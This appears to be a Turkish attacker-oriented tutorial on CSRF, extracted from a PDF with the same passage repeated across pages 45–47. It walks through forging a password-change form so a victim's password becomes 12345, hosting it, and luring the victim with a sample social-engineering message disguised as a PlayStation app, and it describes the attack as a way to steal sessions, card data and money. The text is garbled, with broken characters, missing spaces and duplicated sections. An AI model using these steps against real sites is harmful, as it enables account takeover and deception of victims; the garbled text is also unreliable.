NOT Kurbanın hoşlandığı tarz yolundan gidersiniz daha iyi sonuccedil alırsınızOumlrnek olarakkurbanımız Play Station oynamayı seven biri biz kurbana bu linki Play Station uygulaması veyaoyunu şeklinde yedirebilirizOumlrnek

Merhaba kardeşim

Bir Play Station uygulaması geliştirdimBir goumlz gezdirirmisin nasıl olmuş

Uygulama httpmehmetkelepceorgdosyahtml

Gibisinden bir SM Youmlntemi ile yedirebilirsinizBurada dosyahtml bizim exploitlediğimiz uygun halegetirdiğimiz kodlardırTıkladığı anda kurbanın şifresi 12345 olarak değişecek

5- XSS ve CSRF Arasındaki Benzerlikler

CSRF Saldırısı XSS Saldırısında iccediline alan bir saldırı tipidirYani XSSrsquoin olduğu yerde CSRF accedilığınınolması 80 gibi bir orandır

Evet saygı değer canlarBu uzun seruumlvenimiz burada sona erdi ) Web Guumlvenlik Accedilıkları harikulade birboumlluumlmalanrsquodırDaha da ilerlemeniz ilminizi ve bilginizi daha da yukarılara ccedilıkarmanız dileğiyle

Page 45: Web Güvenlik Açıkları ve Kullanımı (Geniş Anlatım)

ŞeklindeBuraya httpsitecomc99txt şeklinde dosyanızın adresini txt uzantılı yazıp ara butonunatıkladığınızda eğer karşınıza dosya geliyorsa yani ccedilağırdığınız dosya burada RFI Accedilığı mevcutturBukadar basittir

CSRFXSRF (Cross-Site RequestForgery)

1-Oumlnsoumlz

XSRF CSRF Guumlvenlik zaafiyetleri guumlnuumlmuumlzde bir ccedilok yerde mevcutturCcedilok geniş kapsamlı bir accedilıkolmakla birlikte kullanımı da ccedilok kolaydır aslındaAma ccediloğu kimse karmaşık goumlruumlp hemen ipin ucunubırakmışlardırCcedilok yanlış ccediluumlnki bu yolda devam ederken tuumlm Web Application tuumlrlerini oumlğrenmek bizimyararımıza olurTabi misyon dahilinde

XSRF CSRF Accedilıkları aslında aynıdırYani XSRF ve CSRF diye ayrılması kafamızı karıştırmasın

2- Cross Site Request Forgery Nedir

Attacker bir web sitesinin kaynak koduna goumlmuumlluuml olan Javascript veya HTML Kodlarını uygun birexploit haline getirip kurbanın haberi olmadan session (oturum) bilgilerini elde etmesiyle olurBu accedilığısadece kurbanın şifrelerini almak diye bakmayalım ccediluumlnkuuml bu zaafiyet para transferi kredi kartıhırsızlıkları ve birccedilok koumltuuml emellere alet edilip milletin emeğini ccedilalabiliyorBurada yapılan tek şeykurbana goumlnderdiğimiz linke tıklamasıdır Kurban bunu yaparken olaylardan habersizdirTereyağındankıl ccedileker gibi bilgileri alır attacker

3- Cross-Site Request Forgery Nerelerde Kullanılır Ne İccedilin Kullanılır

Bu zaafiyet buumltuumln web applicationlarda bulunabilirYani ASPPHPHTML Sitelerde dahil olmak uumlzere

Yukarıda bahsettiğim gibi session bilgilerini ccedilalmak kredi kartı bilgilerini ccedilalmak ve bir ccedilok koumltuuml ameliccedilin kullanılır

4 Nasıl Kullanılır - Exploitlenir

Zaafiyeti exploitleme basittirHemen bir oumlrnekle devam edeyim

Bir Web sayfası hayal edinBu Web Sayfasında session şifrelerini değiştirme dosyası olsunwwwsitecomforumpasswordegistirphp şeklindeBu bir forum sitesi olarak duumlşuumlnuumlnSiz foruma girişyaptınız ve şifrenizi değiştirmek istiyorsunuzŞifrenizi değiştirdiğiniz vakit

wwwsitecomforumpassworddegistirphpyenipassword=mahserat

Burada sizin şifreniz mahserat olarak değiştirilmiştirYani linkte goumlreceğiniz gibi burada bir XSRFCSRFzaafiyeti mevcutturHemen degistirdiğniz şifre linkinin kaynak koduna goumlz atalımKaynak kodundanltformgtltformgt taglarını arayalım

Burada goumlrduumlğuumlnuumlz gibi bilgiler GET methoduyla alınmışGETPOST Methodu tercih edileceği yerde

Daha sonra kullanıcıdan alınan veri passworddegistirphp dosyası aracılığıyla değiştirilir

Şimdi biz bunu exloitleyelim yani kullanılır hale getirelim şimdi kaynak kodlarını tekrar alıyoruz birnotepad iccedilerisine yapıştırıyoruzDaha sonra action=rdquopassworddegistirphprdquo dosyasının tam linkinibelirliyoruzYani action=rdquohttpsitecomforumpassworddegistirphprdquo şeklindeDaha sonraname=rdquosifrerdquo kısmına şifremizi yazıyoruz name=rdquo12345rdquo şeklindeDeğiştirdikten sonra kodlara tekrargoumlz atalım

Evet tamamdırŞimdi bunu html uzantılı kaydediyoruz ve hostumuza atıyoruzSonrasında linki kurbanagoumlndereceğizBurada devreye SM (Sosyal muumlhendislik) giriyorSosyal muumlhendislik bilginizin birazolması gerekirMesela şoumlyle yedirebiliriz kurbana

NOT Kurbanın hoşlandığı tarz yolundan gidersiniz daha iyi sonuccedil alırsınızOumlrnek olarakkurbanımız Play Station oynamayı seven biri biz kurbana bu linki Play Station uygulaması veyaoyunu şeklinde yedirebilirizOumlrnek

Merhaba kardeşim

Bir Play Station uygulaması geliştirdimBir goumlz gezdirirmisin nasıl olmuş

Uygulama httpmehmetkelepceorgdosyahtml

Gibisinden bir SM Youmlntemi ile yedirebilirsinizBurada dosyahtml bizim exploitlediğimiz uygun halegetirdiğimiz kodlardırTıkladığı anda kurbanın şifresi 12345 olarak değişecek

5- XSS ve CSRF Arasındaki Benzerlikler

CSRF Saldırısı XSS Saldırısında iccediline alan bir saldırı tipidirYani XSSrsquoin olduğu yerde CSRF accedilığınınolması 80 gibi bir orandır

Evet saygı değer canlarBu uzun seruumlvenimiz burada sona erdi ) Web Guumlvenlik Accedilıkları harikulade birboumlluumlmalanrsquodırDaha da ilerlemeniz ilminizi ve bilginizi daha da yukarılara ccedilıkarmanız dileğiyle

Page 46: Web Güvenlik Açıkları ve Kullanımı (Geniş Anlatım)

Bir Web sayfası hayal edinBu Web Sayfasında session şifrelerini değiştirme dosyası olsunwwwsitecomforumpasswordegistirphp şeklindeBu bir forum sitesi olarak duumlşuumlnuumlnSiz foruma girişyaptınız ve şifrenizi değiştirmek istiyorsunuzŞifrenizi değiştirdiğiniz vakit

wwwsitecomforumpassworddegistirphpyenipassword=mahserat

Burada sizin şifreniz mahserat olarak değiştirilmiştirYani linkte goumlreceğiniz gibi burada bir XSRFCSRFzaafiyeti mevcutturHemen degistirdiğniz şifre linkinin kaynak koduna goumlz atalımKaynak kodundanltformgtltformgt taglarını arayalım

Burada goumlrduumlğuumlnuumlz gibi bilgiler GET methoduyla alınmışGETPOST Methodu tercih edileceği yerde

Daha sonra kullanıcıdan alınan veri passworddegistirphp dosyası aracılığıyla değiştirilir

Şimdi biz bunu exloitleyelim yani kullanılır hale getirelim şimdi kaynak kodlarını tekrar alıyoruz birnotepad iccedilerisine yapıştırıyoruzDaha sonra action=rdquopassworddegistirphprdquo dosyasının tam linkinibelirliyoruzYani action=rdquohttpsitecomforumpassworddegistirphprdquo şeklindeDaha sonraname=rdquosifrerdquo kısmına şifremizi yazıyoruz name=rdquo12345rdquo şeklindeDeğiştirdikten sonra kodlara tekrargoumlz atalım

Evet tamamdırŞimdi bunu html uzantılı kaydediyoruz ve hostumuza atıyoruzSonrasında linki kurbanagoumlndereceğizBurada devreye SM (Sosyal muumlhendislik) giriyorSosyal muumlhendislik bilginizin birazolması gerekirMesela şoumlyle yedirebiliriz kurbana

NOT Kurbanın hoşlandığı tarz yolundan gidersiniz daha iyi sonuccedil alırsınızOumlrnek olarakkurbanımız Play Station oynamayı seven biri biz kurbana bu linki Play Station uygulaması veyaoyunu şeklinde yedirebilirizOumlrnek

Merhaba kardeşim

Bir Play Station uygulaması geliştirdimBir goumlz gezdirirmisin nasıl olmuş

Uygulama httpmehmetkelepceorgdosyahtml

Gibisinden bir SM Youmlntemi ile yedirebilirsinizBurada dosyahtml bizim exploitlediğimiz uygun halegetirdiğimiz kodlardırTıkladığı anda kurbanın şifresi 12345 olarak değişecek

5- XSS ve CSRF Arasındaki Benzerlikler

CSRF Saldırısı XSS Saldırısında iccediline alan bir saldırı tipidirYani XSSrsquoin olduğu yerde CSRF accedilığınınolması 80 gibi bir orandır

Evet saygı değer canlarBu uzun seruumlvenimiz burada sona erdi ) Web Guumlvenlik Accedilıkları harikulade birboumlluumlmalanrsquodırDaha da ilerlemeniz ilminizi ve bilginizi daha da yukarılara ccedilıkarmanız dileğiyle

Page 47: Web Güvenlik Açıkları ve Kullanımı (Geniş Anlatım)

Bir Play Station uygulaması geliştirdimBir goumlz gezdirirmisin nasıl olmuş

Uygulama httpmehmetkelepceorgdosyahtml

Gibisinden bir SM Youmlntemi ile yedirebilirsinizBurada dosyahtml bizim exploitlediğimiz uygun halegetirdiğimiz kodlardırTıkladığı anda kurbanın şifresi 12345 olarak değişecek

5- XSS ve CSRF Arasındaki Benzerlikler

CSRF Saldırısı XSS Saldırısında iccediline alan bir saldırı tipidirYani XSSrsquoin olduğu yerde CSRF accedilığınınolması 80 gibi bir orandır

Evet saygı değer canlarBu uzun seruumlvenimiz burada sona erdi ) Web Guumlvenlik Accedilıkları harikulade birboumlluumlmalanrsquodırDaha da ilerlemeniz ilminizi ve bilginizi daha da yukarılara ccedilıkarmanız dileğiyle